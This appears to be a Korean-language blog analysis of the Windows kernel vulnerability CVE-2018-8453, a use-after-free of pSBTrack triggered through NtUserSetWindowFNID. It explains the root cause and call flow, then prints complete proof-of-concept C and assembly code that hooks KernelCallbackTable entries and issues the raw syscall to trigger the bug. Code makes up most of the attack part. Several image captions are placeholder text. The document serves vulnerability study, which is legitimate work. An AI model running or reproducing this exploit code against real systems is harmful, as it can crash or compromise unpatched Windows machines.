0%

CVE-2018-8453

CVE-2018-8453 // Windows Kernel 1-day

Root Cause

NtUserSetWindowFNID()는 FNID를 설정할 때, Window가 release 됐는지 아닌지 확인하지 않음.

→ 따라서 이미 free된 Window에 FNID를 설정하여 재사용 할 수 있음.

이 취약점을 이용하여, xxSBTrackInit()에서 pSBTrack의 UAF를 발생시킬 수 있음.

Flow

sdafasdf

  • 먼저 KernelCallbackTable에 있는 2개의 callback을 Hook함. (fnDWORD, fnClientFree…)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
asm.asm
GetKernelCallbackTableBase PROC
;int 3
mov rax,gs:[60h]
lea rax,[rax+58h]
mov rax,[rax]
ret
GetKernelCallbackTableBase ENDP

Main.c
VirtualProtect(CallbackTb, 512, PAGE_READWRITE, &OldProtect); //메모리 보호 설정 값 변경
CallbackTb += 2; //Table에서의 Hook할 Callback의 위치.
fnDWORD = (fct_fnDispatch64)*CallbackTb; //Hook함수 설정.
*CallbackTb = (ULONG64)fnDWORDCallBack;

CallbackTb += 124;
fnClientFreeWindowClassExtraBytes = (fct_fnDispatch64)*CallbackTb;
*CallbackTb = (ULONG64)fnClientFreeWindowClassExtraBytesCallBack;
  • Main Window와 ScrollBar 를 만듬.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//Structure 설정.
WNDCLASSEXW wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = DefWindowProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 4;
wcex.hInstance = 0;
wcex.hIcon = LoadIcon(0, NULL);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = L"WNDCLASSMAIN";
wcex.hIconSm = LoadIcon(wcex.hInstance, NULL);
RegisterClassExW(&wcex);

//Main Window 생성.
hMainWND = CreateWindowW(L"WNDCLASSMAIN", L"CVE", WS_DISABLED, 2, 2, 40, 40, NULL, NULL, 0, NULL);
//ScrollBar 생성.
hSBWND = CreateWindowEx(0, "ScrollBar", "SB", WS_CHILD | WS_VISIBLE | SBS_HORZ, 0, 0, 20, 20, hMainWND, NULL, 0, NULL);
  • SendMessage()함수를 사용해 ScrollBar에 WM_LBUTTONDOWN 메시지를 보냄

    (이는 xxxSBTrackInit()함수 호출을 Trigger하기 위함)

1
SendMessage(hSBWND, WM_LBUTTONDOWN, 0, 0x00020002);
  • xxxSBTrackLoop이 호출되어, 마우스 왼쪽 버튼이 해제되거나 다른 메시지가 수신될 때까지 루프에서 마우스 이벤트를 캡쳐함.

  • xxxSBTrackLoop이 실행되므로 fnDWORD가 Callback됨. (이때 미리 Hook한 fnDWORD가 실행됨)

1
2
3
4
5
6
7
8
9
10
11
void fnDWORDCallBack(PULONG64 msg)
{
if (bMSGSENT && *msg) {
bMSGSENT = FALSE;
DestroyWindow(hMainWND); //DestroyWindow함수를 이용해 Main Window를 파괴.
//DestroyWindow 함수는 xxxFreeWindow함수를 호출.
//xxxFreeWindow 함수는 먼저 Main Window의 FNID를 8000(free)으로 변경 함.
//그리고 xxxClientFreeWindowClassExtraBytes를 호출.
}
fnDWORD(msg);
}
  • xxxClientFreeWindowClass..함수는 Callback를 호출 (이때 미리 Hook한 fnClinet…가 실행됨)

asd

1
2
3
4
5
6
7
8
9
10
11
12
void fnClientFreeWindowClassExtraBytesCallBack(PULONG64 msg)
{
if (*(PULONG64)*((PULONG64)*(msg - 11)) == (ULONG64)hMainWND) {

hSBWNDnew = CreateWindowEx(0, "ScrollBar", "SB", SWP_HIDEWINDOW | SB_HORZ, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
SetWindowFNID(hMainWND, 0x2A1); //이미Free된 Main Window의 FNID(0x2A1 ~ 0x2AAA)를 설정함.
SetCapture(hSBWNDnew); //새로운 Window를 만들고, 이를 현재 thread에서 Capture하고 있는 window로 설정.
f3 = TRUE;

}
fnClientFreeWindowClassExtraBytes(msg);
}
  • Main Window가 파괴됐기 때문에 xxxSBTrackLoop이 돌아와 HMAssignmentUnLock(&pSBTrack->spwndNotify)을 계속 실행하여 Main Window를 완전히 해제하는 관련 역참조를 수행하는데, 이로 인해 xxxFreeWindow가 다시 호출됨.

cdsf

  • Main Window의 FNID는 (xxxFreeWindow에서 8000(Free)되었다가, fnClient..함수에서 82A1로 설정 되었음.) 따라서 SfnDWORD함수가 호출되며 이는 아까 hook했던 fnDWORD가 다시 호출됨.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void fnDWORDCallBack(PULONG64 msg)
{
if (bMSGSENT && *msg) {
bMSGSENT = FALSE;
DestroyWindow(hMainWND);
}

if (*msg && (*(msg + 1) == 0x70) && (*((PULONG64)(*msg)) == (ULONG64)hMainWND)) {
SendMessage(hSBWNDnew, WM_CANCELMODE, 0, 0); //여기서 WM_CANCELMODE를 사용하여,
//pSBTrack을 free함.
}

fnDWORD(msg);
}
  • POC 프로그램은 단일 스레드이기 때문에 스레드에 의해 생성된 모든 창은 동일한 스레드 정보 구조를 가리킨다. SBTrack이 속해 있는 Scrollbar 창이 해제되었더라도, 동일한 스레드에 의해 새 창이 생성되는 한, pSBTrack은 여전히 동일한 창을 가리키고 있다.
  • setCaputure(hSBWNDNew)를 호출하여 hSBTWNDNDNew 창에서 마우스 이벤트를 캡처하기 위해 현재 스레드를 설정했다. 마지막으로, UserFreePool(pSBTrack)이 pSBTrack을 릴리스하기 위해 실행되어 HMAssignmentUnLock(&pSBTrack->spwnd를 실행하기 전에 pSBTrack을 해제함SB) 및 결과 pSBTrack에 After Free.
  • Usermode에서 pSBTrack을 Free했다.
  • 정상적인 흐름은 xxxSBTrackLoop가 끝난 후 xxxSBTrackInit()에서 Free 시켜야 하지만, 미리 UserMode에서 Free 해버렸으므로, 이후에 pSBTrack에 대한 UAF가 발생함.

Windbg !analyze

asdf

xv

POC code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <intrin.h>
#include"targetver.h"

BOOL f3 = FALSE;
BOOL bMSGSENT = FALSE;
HWND hMainWND;
HWND hSBWND;
HWND hSBWNDnew;

EXTERN_C PULONG64 GetKernelCallbackTableBase();
EXTERN_C VOID SetWindowFNID(HWND hWnd, LONG64 FNID);

typedef ULONG64(WINAPI *fct_fnDispatch64)(PULONG64);
fct_fnDispatch64 fnDWORD, fnClientFreeWindowClassExtraBytes;

void fnDWORDCallBack(PULONG64 msg)
{
if (bMSGSENT && *msg) {
bMSGSENT = FALSE;
DestroyWindow(hMainWND);

}

if ((f3==TRUE) && (*(msg + 1) == 0x70) && (*((PULONG64)(*msg)) == (ULONG64)hMainWND)) {

SendMessage(hSBWNDnew, WM_CANCELMODE, 0, 0);

}
fnDWORD(msg);
}

void fnClientFreeWindowClassExtraBytesCallBack(PULONG64 msg)
{
if (*(PULONG64)*((PULONG64)*(msg - 11)) == (ULONG64)hMainWND) {

hSBWNDnew = CreateWindowEx(0, "ScrollBar", "SB", SWP_HIDEWINDOW | SB_HORZ, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
SetWindowFNID(hMainWND, 0x2A1);
SetCapture(hSBWNDnew);
f3 = TRUE;
}
fnClientFreeWindowClassExtraBytes(msg);
}

int main()
{
DWORD OldProtect = 0;
PULONG64 CallbackTb = GetKernelCallbackTableBase();

VirtualProtect(CallbackTb, 512, PAGE_READWRITE, &OldProtect);
CallbackTb += 2;
fnDWORD = (fct_fnDispatch64)*CallbackTb;
*CallbackTb = (ULONG64)fnDWORDCallBack;

CallbackTb += 124;
fnClientFreeWindowClassExtraBytes = (fct_fnDispatch64)*CallbackTb;
*CallbackTb = (ULONG64)fnClientFreeWindowClassExtraBytesCallBack;

WNDCLASSEXW wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = DefWindowProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 4;
wcex.hInstance = 0;
wcex.hIcon = LoadIcon(0, NULL);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = L"WNDCLASSMAIN";
wcex.hIconSm = LoadIcon(wcex.hInstance, NULL);
RegisterClassExW(&wcex);

hMainWND = CreateWindowW(L"WNDCLASSMAIN", L"CVE", WS_DISABLED, 2, 2, 40, 40, NULL, NULL, 0, NULL);
hSBWND = CreateWindowEx(0, "ScrollBar", "SB", WS_CHILD | WS_VISIBLE | SBS_HORZ, 0, 0, 20, 20, hMainWND, NULL, 0, NULL);

bMSGSENT = TRUE;

SendMessage(hSBWND, WM_LBUTTONDOWN, 0, 0x00020002);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public GetKernelCallbackTableBase
public FuncInt3
public SetWindowFNID
_TEXT SEGMENT

GetKernelCallbackTableBase PROC
;int 3
mov rax,gs:[60h]
lea rax,[rax+58h]
mov rax,[rax]
ret
GetKernelCallbackTableBase ENDP

SetWindowFNID PROC
mov r10,rcx;
mov r11,rdx;
mov eax,1095h;
syscall;
ret;
SetWindowFNID ENDP

END

Reference

https://bbs.pediy.com/thread-249021.htm